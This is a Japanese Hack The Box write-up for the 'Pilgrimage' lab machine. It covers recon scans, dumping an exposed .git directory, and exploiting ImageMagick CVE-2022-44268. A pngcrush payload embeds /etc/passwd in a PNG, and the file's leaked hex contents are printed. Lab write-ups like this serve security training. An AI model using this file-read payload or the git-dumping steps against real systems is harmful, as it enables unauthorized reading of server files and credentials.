【Hack The Box】Pilgrimage【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Pilgrimage___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。（はっや）
```bash
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.29.117 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.29.117:22
Open 10.129.29.117:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 06:41 EDT
Initiating Ping Scan at 06:41
Scanning 10.129.29.117 [4 ports]
Completed Ping Scan at 06:41, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:41
Completed Parallel DNS resolution of 1 host. at 06:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:41
Scanning 10.129.29.117 [2 ports]
Discovered open port 22/tcp on 10.129.29.117
Discovered open port 80/tcp on 10.129.29.117
Completed SYN Stealth Scan at 06:41, 0.30s elapsed (2 total ports)
Nmap scan report for 10.129.29.117
Host is up, received echo-reply ttl 63 (0.25s latency).
Scanned at 2023-06-25 06:41:29 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「pilgrimage.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

# Collection
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.129.29.117    pilgrimage.htb
```
疎通確認を行う。
```bash
┌──(root㉿kali)-[~]
└─# ping pilgrimage.htb
```
アクセスしてみると以下のサイトが確認できる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/66d368c9-b89e-601a-d71c-120f9da8db5e.png)

## サイト探索
 httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。
```bash
┌──(root㉿kali)-[~]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://pilgrimage.htb/ -H "HOST: FUZZ.pilgrimage.htb" -fs 7621 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pilgrimage.htb/
 :: Wordlist         : FUZZ: /root/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.pilgrimage.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 7621
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 450 req/sec :: Duration: [0:03:10] :: Errors: 0 ::
```
特段いいものはない。

### ディレクトリ探索
`dirsearch`を使用して探索を実施。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://pilgrimage.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/pilgrimage.htb/-_23-06-25_06-45-08.txt

Error Log: /root/.dirsearch/logs/errors-23-06-25_06-45-08.log

Target: http://pilgrimage.htb/

[06:45:08] Starting: 
[06:45:15] 200 -    2KB - /.git/COMMIT_EDITMSG                             
[06:45:15] 403 -  555B  - /.git/branches/
[06:45:15] 403 -  555B  - /.git/                                           
[06:45:15] 200 -   92B  - /.git/config                                     
[06:45:15] 301 -  169B  - /.git  ->  http://pilgrimage.htb/.git/
[06:45:15] 403 -  555B  - /.git/hooks/                                     
[06:45:15] 200 -   23B  - /.git/HEAD                                       
[06:45:16] 200 -  240B  - /.git/info/exclude                               
[06:45:16] 403 -  555B  - /.git/info/
[06:45:16] 403 -  555B  - /.git/logs/
[06:45:16] 200 -  195B  - /.git/logs/HEAD                                  
[06:45:16] 200 -   73B  - /.git/description
[06:45:16] 200 -    4KB - /.git/index
[06:45:16] 301 -  169B  - /.git/logs/refs/heads  ->  http://pilgrimage.htb/.git/logs/refs/heads/
[06:45:16] 301 -  169B  - /.git/logs/refs  ->  http://pilgrimage.htb/.git/logs/refs/
[06:45:16] 403 -  555B  - /.git/objects/                                   
[06:45:16] 200 -  195B  - /.git/logs/refs/heads/master
[06:45:16] 301 -  169B  - /.git/refs/heads  ->  http://pilgrimage.htb/.git/refs/heads/
[06:45:16] 403 -  555B  - /.git/refs/
[06:45:16] 200 -   41B  - /.git/refs/heads/master                          
[06:45:16] 301 -  169B  - /.git/refs/tags  ->  http://pilgrimage.htb/.git/refs/tags/
[06:45:17] 403 -  555B  - /.ht_wsr.txt                                     
[06:45:17] 403 -  555B  - /.htaccess.bak1                                  
[06:45:17] 403 -  555B  - /.htaccess.orig
[06:45:17] 403 -  555B  - /.htaccess.sample
[06:45:17] 403 -  555B  - /.htaccess_orig
[06:45:17] 403 -  555B  - /.htaccess_extra
[06:45:17] 403 -  555B  - /.htaccess.save
[06:45:17] 403 -  555B  - /.htaccess_sc
[06:45:17] 403 -  555B  - /.htaccessBAK
[06:45:17] 403 -  555B  - /.htaccessOLD
[06:45:17] 403 -  555B  - /.htaccessOLD2
[06:45:17] 403 -  555B  - /.html                                           
[06:45:17] 403 -  555B  - /.htm
[06:45:17] 403 -  555B  - /.htpasswd_test
[06:45:17] 403 -  555B  - /.htpasswds
[06:45:17] 403 -  555B  - /.httr-oauth
[06:45:40] 403 -  555B  - /admin/.htaccess                                  
[06:45:53] 403 -  555B  - /administrator/.htaccess                          
[06:45:57] 403 -  555B  - /app/.htaccess                                    
[06:45:58] 301 -  169B  - /assets  ->  http://pilgrimage.htb/assets/        
[06:45:58] 403 -  555B  - /assets/                                          
[06:46:15] 302 -    0B  - /dashboard.php  ->  /login.php                    
[06:46:27] 200 -    7KB - /index.php                                        
[06:46:32] 200 -    6KB - /login.php                                        
[06:46:33] 302 -    0B  - /logout.php  ->  /                                
[06:46:50] 200 -    6KB - /register.php                                     
[06:47:02] 403 -  555B  - /tmp/                                             
[06:47:02] 301 -  169B  - /tmp  ->  http://pilgrimage.htb/tmp/              
[06:47:07] 403 -  555B  - /vendor/                                          
                                                                             
Task Completed
```
とりあえず`.git`階層見えたりしてますね。Dumpするのは確定の流れになりそう。

### ブラウジング
とりあえずブラウザで流れを追っておく。
`login.php`でのログインを試してみる。`admin:admin`だ。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a1692b27-486f-1b35-13d5-fbe00f3cc42b.png)
ダメでした。なら登録してからアクセスしてみる。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/39fa694a-5bbd-37fe-4d52-42fdf85c2247.png)
行けたけど、やっぱ初手の`index.php`の機能を確認しておいた方がいいかな。
※ここに何も表示されないし。

### index.php
とりあえず画像をあげる機能のようなので、雪花ラミィちゃんをアップロードします。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/381da68b-910e-babb-93b0-3f3f2fcd1a6b.png)
アップロードが成功したら、何やら画像へのURLが表示されます。
飛んでみましょう。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f7d61044-c54e-1716-dc17-f7b8009d9fcc.png)
あああああああああああああああああああああああああああああああああああああああああああああああ
ラミィちゃん可愛い！！！！
じゃなくてですね。まぁ、画像をアップして何やら加工後、そのURLを払い出すサイトのようですね。ラミィちゃんのおかげで完全に理解した。

## gitdump
サイト探索で見つけたgitの階層をダンプしようと思います。
ここら辺は定番のToolがあるので利用します。

https://github.com/internetwache/GitTools.git

このリポジトリを参考に試してほしい。
ここいらのToolをダウンロードして利用します。
```bash
┌──(root㉿kali)-[~/work]
└─# git clone https://github.com/internetwache/GitTools.git
Cloning into 'GitTools'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 242 (delta 9), reused 27 (delta 7), pack-reused 209
Receiving objects: 100% (242/242), 56.46 KiB | 2.26 MiB/s, done.
Resolving deltas: 100% (88/88), done.
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# cd GitTools/Dumper 
                                                                                                                                                            
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# ls -tla
total 20
drwxr-xr-x 2 root root 4096 Jun 25 07:15 .
drwxr-xr-x 7 root root 4096 Jun 25 07:15 ..
-rwxr-xr-x 1 root root 4389 Jun 25 07:15 gitdumper.sh
-rw-r--r-- 1 root root  416 Jun 25 07:15 README.md
```
オッケ！！ではこのスクリプトを使ってダンプを取っていきます。
```bash
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# ./gitdumper.sh http://pilgrimage.htb/.git/ git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating git/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/e1/a40beebc7035212efdcb15476f9c994e3634a7
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212
[+] Downloaded: objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d
[+] Downloaded: objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc
[+] Downloaded: objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d
[+] Downloaded: objects/dc/446514835fe49994e27a1c2cf35c9e45916c71
[+] Downloaded: objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e
[+] Downloaded: objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548
[+] Downloaded: objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb
[+] Downloaded: objects/36/c734d44fe952682020fd9762ee9329af51848d
[+] Downloaded: objects/b2/15e14bb4766deff4fb926e1aa080834935d348
[+] Downloaded: objects/8f/155a75593279c9723a1b15e5624a304a174af2
[+] Downloaded: objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e
[+] Downloaded: objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e
[+] Downloaded: objects/98/10e80fba2c826a142e241d0f65a07ee580eaad
[+] Downloaded: objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd
[+] Downloaded: objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc
[+] Downloaded: objects/76/a559577d4f759fff6af1249b4a277f352822d5
[+] Downloaded: objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c
[+] Downloaded: objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e
[+] Downloaded: objects/8a/62aac3b8e9105766f3873443758b7ddf18d838
[+] Downloaded: objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783
[+] Downloaded: objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2
[+] Downloaded: objects/88/16d69710c5d2ee58db84afa5691495878f4ee1
[+] Downloaded: objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a
[+] Downloaded: objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23
[+] Downloaded: objects/b6/c438e8ba16336198c2e62fee337e126257b909
[+] Downloaded: objects/11/dbdd149e3a657bc59750b35e1136af861a579f
[+] Downloaded: objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568
[+] Downloaded: objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18
[+] Downloaded: objects/5f/ec5e0946296a0f09badeb08571519918c3da77
[+] Downloaded: objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987
[+] Downloaded: objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a
[+] Downloaded: objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322
[+] Downloaded: objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1
[+] Downloaded: objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34
[+] Downloaded: objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7
[+] Downloaded: objects/49/cd436cf92cc28645e5a8be4b1973683c95c537
[+] Downloaded: objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3
[+] Downloaded: objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc
[+] Downloaded: objects/ca/d9dfca08306027b234ddc2166c838de9301487
[+] Downloaded: objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4
[+] Downloaded: objects/c4/3565452792f19d2cf2340266dbecb82f2a0571
[+] Downloaded: objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59
[+] Downloaded: objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4
[+] Downloaded: objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14
[+] Downloaded: objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b
[-] Downloaded: objects/23/12310101010101010101410301010101210101
[-] Downloaded: objects/23/03032323230123232323212123212303632303
[-] Downloaded: objects/23/21236303230321632123036767012147470701
[-] Downloaded: objects/47/07412547250503474341056701016565070147
[-] Downloaded: objects/41/61416543747052570741470565674701054165
[-] Downloaded: objects/65/43450543454147054147414565014170505650
[-] Downloaded: objects/54/74547454747476767476767676767236323632
[-] Downloaded: objects/36/76745054545454545456545454545454545454
[-] Downloaded: objects/76/76701676767670105676767672167676767010
[+] Downloaded: objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb
[+] Downloaded: objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e
                                                                                                                                                            
┌──(root㉿kali)-[~/work/GitTools/Dumper]
└─# cd git            
                                                                                                                                                            
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# ls -tla 
total 12
drwxr-xr-x 6 root root 4096 Jun 25 07:16 .git
drwxr-xr-x 3 root root 4096 Jun 25 07:16 .
drwxr-xr-x 3 root root 4096 Jun 25 07:16 ..

┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git log   
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date:   Wed Jun 7 20:11:48 2023 +1000

    Pilgrimage image shrinking service initial commit.
```
ダンプできたようなので、ステータス確認しておきます。
```bash                                                 
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git status                                             
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    assets/bulletproof.php
        deleted:    assets/css/animate.css
        deleted:    assets/css/custom.css
        deleted:    assets/css/flex-slider.css
        deleted:    assets/css/fontawesome.css
        deleted:    assets/css/owl.css
        deleted:    assets/css/templatemo-woox-travel.css
        deleted:    assets/images/banner-04.jpg
        deleted:    assets/images/cta-bg.jpg
        deleted:    assets/js/custom.js
        deleted:    assets/js/isotope.js
        deleted:    assets/js/isotope.min.js
        deleted:    assets/js/owl-carousel.js
        deleted:    assets/js/popup.js
        deleted:    assets/js/tabs.js
        deleted:    assets/webfonts/fa-brands-400.ttf
        deleted:    assets/webfonts/fa-brands-400.woff2
        deleted:    assets/webfonts/fa-regular-400.ttf
        deleted:    assets/webfonts/fa-regular-400.woff2
        deleted:    assets/webfonts/fa-solid-900.ttf
        deleted:    assets/webfonts/fa-solid-900.woff2
        deleted:    assets/webfonts/fa-v4compatibility.ttf
        deleted:    assets/webfonts/fa-v4compatibility.woff2
        deleted:    dashboard.php
        deleted:    index.php
        deleted:    login.php
        deleted:    logout.php
        deleted:    magick
        deleted:    register.php
        deleted:    vendor/bootstrap/css/bootstrap.min.css
        deleted:    vendor/bootstrap/js/bootstrap.min.js
        deleted:    vendor/jquery/jquery.js
        deleted:    vendor/jquery/jquery.min.js
        deleted:    vendor/jquery/jquery.min.map
        deleted:    vendor/jquery/jquery.slim.js
        deleted:    vendor/jquery/jquery.slim.min.js
        deleted:    vendor/jquery/jquery.slim.min.map

no changes added to commit (use "git add" and/or "git commit -a")
```
お、削除したやつがありそう！！なのでこやつは`reset`で復元させます。
```bash
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# git reset --hard
HEAD is now at e1a40be Pilgrimage image shrinking service initial commit.

┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# ls -lta
total 26972
drwxr-xr-x 6 root root     4096 Jun 25 07:22 .git
drwxr-xr-x 5 root root     4096 Jun 25 07:22 .
-rwxr-xr-x 1 root root 27555008 Jun 25 07:22 magick
-rwxr-xr-x 1 root root     6836 Jun 25 07:22 register.php
drwxr-xr-x 4 root root     4096 Jun 25 07:22 vendor
-rwxr-xr-x 1 root root     5538 Jun 25 07:22 dashboard.php
-rwxr-xr-x 1 root root     9250 Jun 25 07:22 index.php
-rwxr-xr-x 1 root root     6822 Jun 25 07:22 login.php
-rwxr-xr-x 1 root root       98 Jun 25 07:22 logout.php
drwxr-xr-x 6 root root     4096 Jun 25 07:22 assets
drwxr-xr-x 3 root root     4096 Jun 25 07:16 ..
```
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/69643222-44d0-205d-665f-b6be8d091b3b.png)
復元完了！！！こいつらのファイルを読み込んでいく作業に移ります。

# Initial Access
## コード解析
さて、では`logain.php`から見てみる。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cbccc361-d909-d1e3-3438-657f8556a378.png)
うーむ、プレースホルダされてるしなぁ、Easyでここ突破てキツくないかなぁ？
続いて、`index.php`を確認する。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/565e76bc-7670-b0e4-d49b-8c17d0301767.png)
あ、色々と`exec`しているのが見えるのでここら辺あたりが脆弱性存在しそうですね。
`magick`バイナリの動作をGhidraあたりで解析して求める感じかなぁ？
まぁ試しに回してみますか。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f2ba83e5-199d-3e6f-fb12-9acb36162a86.png)
あああああ、ImageMagickですかぁ！これkurenaifさんも解説してた脆弱性ありそうですなぁ！
調べてみます。

https://news.mynavi.jp/techplus/article/20230203-2582052/

あった。ここら辺の解説は魔女に任せます。（ごめんラミィちゃん。）
Webが触れる環境しかLFIできません。

https://youtu.be/KbCR_lkVU5w

んで、このPOCは出てきた当初あたりにこのリポジトリが話題になってます。

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

ここら辺の動作再現したら脆弱性発露しそうなので試してみようではないですかぁ！！

## CVE-2022-44268
上記Githubサイトの`apt`のパッケージはダウンロードする必要がある。
その後に以下でPayloadを注入する。
```bash
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# pngcrush -text a "profile" "/etc/passwd" image.png
  Recompressing IDAT chunks in image.png to pngout.png
   Total length of data found in critical chunks            =   2172760
   Best pngcrush method        =   6 (ws 15 fm 6 zl 9 zs 0) =   1454315
CPU time decode 0.118104, encode 0.928580, other 0.006590, total 1.057290 sec
```
はい、続いてPayloadが正しく入っているかを確認する。
```bash
┌──(root㉿kali)-[~/work/GitTools/Dumper/git]
└─# exiv2 -pS pngout.png                              
STRUCTURE OF PNG FILE: pngout.png
 address | chunk |  length | data                           | checksum
       8 | IHDR  |      13 | ............                   | 0x762c686c
      33 | gAMA  |       4 | ....                           | 0x0bfc6105
      49 | sRGB  |       1 |                                | 0xaece1ce9
      62 | pHYs  |       9 | .........                      | 0x952b0e1b
      83 | tEXt  |      15 | Software.Google                | 0x026e0e5f
     110 | IDAT  |  524288 | x.....d.u..^..........@.{..%.i | 0xcd0b3b24
  524410 | IDAT  |  524288 | ...Cmv.1..w.......9^Q.L..E.%.. | 0xb5f44bb2
 1048710 | IDAT  |  405658 | .\n.7.-.W..d.C...@.p...$<..&.. | 0x2cecd196
 1454380 | tEXt  |      19 | profile./etc/passwd            | 0x465bd758
 1454411 | IEND  |       0 |                                | 0xae426082
```
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/41da29d4-70ce-5176-4c22-8872b2a30196.png)
入っている。
んじゃアップロードします！！！
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/53e0bd66-0ac0-b935-4acc-3dec7094fcb8.png)
この画像にアクセスします。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4799262c-4c96-1f22-35f8-855cb72f4463.png)
ラミィちゃんンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンンン！！！
じゃなくてですね。
こいつの`Profile`を探る必要があるわけですよ。
以下コマンドを打ちます。
```bash
┌──(root㉿kali)-[/home/kali/Downloads]
└─# identify -verbose 6498314c5683c.png 
Image:
  Filename: 6498314c5683c.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: DirectClass
  Geometry: 450x450+0+0
  Resolution: 37.8x37.8
  Print size: 11.9048x11.9048
  Units: PixelsPerCentimeter
  Colorspace: sRGB
  Type: TrueColor
  Base type: Undefined
  Endianness: Undefined
  Depth: 8-bit
  Channel depth:
    red: 8-bit
    green: 8-bit
    blue: 8-bit
  Channel statistics:
    Pixels: 202500
    Red:
      min: 0  (0)
      max: 255 (1)
      mean: 175.772 (0.6893)
      standard deviation: 61.9265 (0.242849)
      kurtosis: -0.847692
      skewness: -0.408134
      entropy: 0.938774
    Green:
      min: 0  (0)
      max: 255 (1)
      mean: 183.642 (0.720163)
      standard deviation: 52.7403 (0.206825)
      kurtosis: -0.424271
      skewness: -0.633076
      entropy: 0.933892
    Blue:
      min: 0  (0)
      max: 255 (1)
      mean: 195.061 (0.764945)
      standard deviation: 44.8541 (0.175898)
      kurtosis: 0.760091
      skewness: -1.02272
      entropy: 0.906049
  Image statistics:
    Overall:
      min: 0  (0)
      max: 255 (1)
      mean: 184.825 (0.724803)
      standard deviation: 53.1737 (0.208524)
      kurtosis: -0.292034
      skewness: -0.698829
      entropy: 0.926239
  Rendering intent: Perceptual
  Gamma: 0.45455
  Chromaticity:
    red primary: (0.64,0.33)
    green primary: (0.3,0.6)
    blue primary: (0.15,0.06)
    white point: (0.3127,0.329)
  Background color: white
  Border color: srgb(223,223,223)
  Matte color: grey74
  Transparent color: black
  Interlace: None
  Intensity: Undefined
  Compose: Over
  Page geometry: 450x450+0+0
  Dispose: Undefined
  Iterations: 0
  Compression: Zip
  Orientation: Undefined
  Properties:
    date:create: 2023-06-25T12:21:49+00:00
    date:modify: 2023-06-25T12:21:49+00:00
    date:timestamp: 2023-06-25T12:21:32+00:00
    png:bKGD: chunk was found (see Background color, above)
    png:cHRM: chunk was found (see Chromaticity, above)
    png:gAMA: gamma=0.45455 (See Gamma, above)
    png:IHDR.bit-depth-orig: 8
    png:IHDR.bit_depth: 8
    png:IHDR.color-type-orig: 2
    png:IHDR.color_type: 2 (Truecolor)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 450, 450
    png:pHYs: x_res=3780, y_res=3780, units=1
    png:sRGB: intent=0 (Perceptual Intent)
    png:text: 5 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-06-25T12:21:32Z
    Raw profile type: 

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

    signature: fbf0d9223e1326377060879bf40739ead0d29e85c882854089a4eae4798ed677
    Software: Google
  Artifacts:
    filename: 6498314c5683c.png
    verbose: true
  Tainted: False
  Filesize: 420289B
  Number pixels: 202500
  Pixels per second: 23.1046MB
  User time: 0.010u
  Elapsed time: 0:01.008
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
```
profileが見えたら勝ちです。
この文字列をPythonでデコードします。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/99ab7c2d-5f0e-f27f-61ca-9515bcdfd271.png)
決まった。。。これでLFI発露経路が発覚したのでここからさらにExploitしてきます！！！

# Credential Access
さて、ここからLFiの脆弱性を利用して情報を収集しようという読者の方は多いと思う。
